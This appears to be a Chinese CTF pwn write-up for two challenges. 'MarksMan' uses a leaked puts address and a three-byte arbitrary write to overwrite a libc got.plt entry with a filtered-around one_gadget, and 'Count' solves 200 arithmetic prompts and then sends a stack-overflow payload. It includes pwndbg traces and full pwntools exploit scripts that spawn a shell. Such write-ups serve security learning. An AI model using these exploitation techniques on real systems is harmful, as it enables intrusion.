MarksMan

考点:任意地址写

程序保护措施全开,开局给一个puts的地址,然后就是直接进入任意地址写入操作。

写入的目标地址直接填十进制字符,程序会调用 atol 给它转为 int 型。

return atol(&nptr);

向目标地址写入只能是 3 个字节,也就是低三位

for ( i = 0; i <= 2; ++i )
{
    puts("biang!");
    read(0, &v7[i], 1uLL);
    getchar();
}

这种题目貌似是前几个星期国外那边兴起的,然后基本套路就是在写入函数后(这题就是 main 函数 27 行之后)找 call 指令,找到适合的函数,修改为 onegadget 地址。

根据作者介绍,题目过滤了全部 one_gadget ,推测应该就是sub_BC2这个函数,如果不含有过滤的 onegadget 就返回 1 ,进入任意地址写操作。

signed __int64 __fastcall sub_BC2(_BYTE *a1)
{
  if ( (*a1 != 0xC5u || a1[1] != 0xF2u) && (*a1 != 0x22 || a1[1] != 0xF3u) && *a1 != 0x8Cu && a1[1] != 0xA3u )
    return 1LL;
  puts("You always want a Gold Finger!");
  return 0LL;
}

但是又从别的大佬 wp 看到,其实one_gadget xxxx对于 onegadget 显示级别默认是 1 ,也就是只需要满足一个条件的,类似于这样:

ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

作者也就屏蔽了等级为 1 的 onegadget 。也就是说其他等级 onegadget 可能可用,显示其他等级 onegadget 加入参数-lx(x 为级别),就能查询到这些:

ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6 -l2
0xe569f execve("/bin/sh", r14, r12)
constraints:
  [r14] == NULL || r14 == NULL
  [r12] == NULL || r12 == NULL

调试寻找合适 got 表地址

调试环节,也就是找合适的 call 。首先就需要知道你修改后的目标值(onegadget 地址),然后为了能运行到写入函数后,肯定就需要一个存在的写入地址,就随便选一个 libc 地址。

调试使用的地址:

写入地址:                0x00007f96485cbc30
写入地址初始值:                0x00007f29b7 40ea40
onegadget 地址:                0x00007f9648 2c569f
寻找目标 got.plt 为:                0x00007f9648 xxxxxx
libc_base 为:                0x00007f37f9d55000

在最后一次输入修改值前下断点:

p.recvuntil('biang!\n')
gdb.attach(p,'b *$rebase(0xd63)')
p.sendline(p8((og>>16)&0xff))

step单步调试,遇到 call 就si单步入调用 plt 函数,看跳转到 got.plt 哪里。

在 _dlerror_run+96 调用了 [email protected] 对应地址 0x7f37fa146d90 (_dl_catch_error plt 表地址):

   0x7f37fa14772a <_dlerror_run+90>     mov    r8, r12
   0x7f37fa14772d <_dlerror_run+93>     mov    rcx, rbp
 ► 0x7f37fa147730 <_dlerror_run+96>     call   [email protected] <0x7f37fa146d90>
        rdi: 0x7f37fa3490f0 (last_result+16) ◂— 0x0
        rsi: 0x7f37fa3490f8 (last_result+24) ◂— 0x0
        rdx: 0x7f37fa3490e8 (last_result+8) ◂— 0x0
        rcx: 0x7f37fa146f40 (dlopen_doit) ◂— push   rbx

这里si单步入,到 plt 找跳转的 got.plt 地址。第一行就是跳转的地址。

► 0x7f37fa146d90 <[email protected]>              jmp    qword ptr [rip + 0x2022a2] <0x7f37fa349038>
 
   0x7f37fa146d96 <[email protected]+6>            push   4
   0x7f37fa146d9b <[email protected]+11>           jmp    0x7f37fa146d40
    ↓
   0x7f37fa146d40                                    push   qword ptr [rip + 0x2022c2] <0x7f37fa349008>
   0x7f37fa146d46                                    jmp    qword ptr [rip + 0x2022c4] <0x7f37fa361750>

你也可以这样查 got.plt 中跳转的地址:

展开查看详情
首先还是一样需要step单步到_dlerror_run+96 ,就得到 plt 地址:0x7f37fa146d90。然后使用命令disass 0x7f37fa146d90,反编译 plt 函数看看里面命令:

pwndbg> disass 0x7f37fa146d90
Dump of assembler code for function [email protected]:
   0x00007f37fa146d90 <+0>:    jmp    QWORD PTR [rip+0x2022a2]        # 0x7f37fa349038 <[email protected]>
   0x00007f37fa146d96 <+6>:    push   0x4
   0x00007f37fa146d9b <+11>:    jmp    0x7f37fa146d40

当中的第一行就是 got.plt 地址,然后查一下里面的值就是函数地址或返回 plt :

pwndbg> x /gx 0x7f37fa349038
0x7f37fa349038 <[email protected]>:    0x00007f37fa146d96

pdisass 命令好像也是可以的,但好似有时会直接返回函数 libc 地址,有时又返回 plt 操作。查了一下disass是反编译输出,pdisass是带颜色和格式输出:(大雾.png)

pwndbg> pdisass 0x7f37fa146d90
 ► 0x7f37fa146d90 <[email protected]>       jmp    qword ptr [rip + 0x2022a2] <0x7f37fa349038>
 
   0x7f37fa146d96 <[email protected]+6>     push   4
   0x7f37fa146d9b <[email protected]+11>    jmp    0x7f37fa146d40

为什么跳转地址是回到 plt ?

展开查看详情
这个函数之前没有调用过,got 表没有记录,所以让 plt 出发链接器去找地址。

GOT 与 PLT 关系可以看这里

反正不管它跳转那里只要符合要求,就是跳转地址前缀是0x00007f9648就行。

所以最后应该向 0x7f37fa349038 写入,写入前的值为:0x00007f37fa146d96,写入后的值为:0x00007f96482c569f

程序开了 PIE ,所以算下偏移:0x7f37fa349038-0x7f37f9d55000=0x5f4038

完整EXP

#!/usr/bin/python
#coding=utf-8
from pwn import *

context.log_level = 'debug'
p = process("./chall")
elf = ELF("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./libc.so.6")

onegadget_offset = 0xe569f
write_add_offset = 0x5f4038

p.recvuntil("I placed the target near: ")
puts_leak = int(p.recv(14),16)
log.info("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
log.info("libc_base:"+hex(libc_base))
#malloc = libc_base + libc.symbols['__malloc_hook']
#log.info("malloc:"+hex(malloc))
onegadget = onegadget_offset + libc_base
log.info("onegadet:"+hex(onegadget))
write_addr = write_add_offset + libc_base
log.info("write_addr:"+hex(write_addr))

p.recvuntil('shoot!shoot!\n')
#p.sendline(str(malloc))
p.sendline(str(write_addr))
p.recvuntil('biang!\n')
p.sendline(p8(onegadget&0xff))
p.recvuntil('biang!\n')
p.sendline(p8((onegadget>>8)&0xff))
p.recvuntil('biang!\n')
#gdb.attach(p,'b *$rebase(0xd63)')
p.sendline(p8((onegadget>>16)&0xff))

p.interactive()

Count

算术题200道,之后通过栈溢出覆盖栈上变量为 256

from pwn import *
context.log_level='debug'
p = remote('39.97.210.182',40285)

i = 0

while(i < 200):
    p.recvuntil("there have 200 levels ~Math: ")
    anw = p.recvuntil(" = ???input answer:",drop=1).split(' ')
    anw = int(anw[0])*int(anw[2])+int(anw[4])+int(anw[6])
    p.sendline(str(anw))
    i+=1

payload = 'a'*100+p64(0x12235612)
p.sendline(payload)
p.recvuntil("get it")
p.interactive()
Last modification:April 23rd, 2020 at 11:14 pm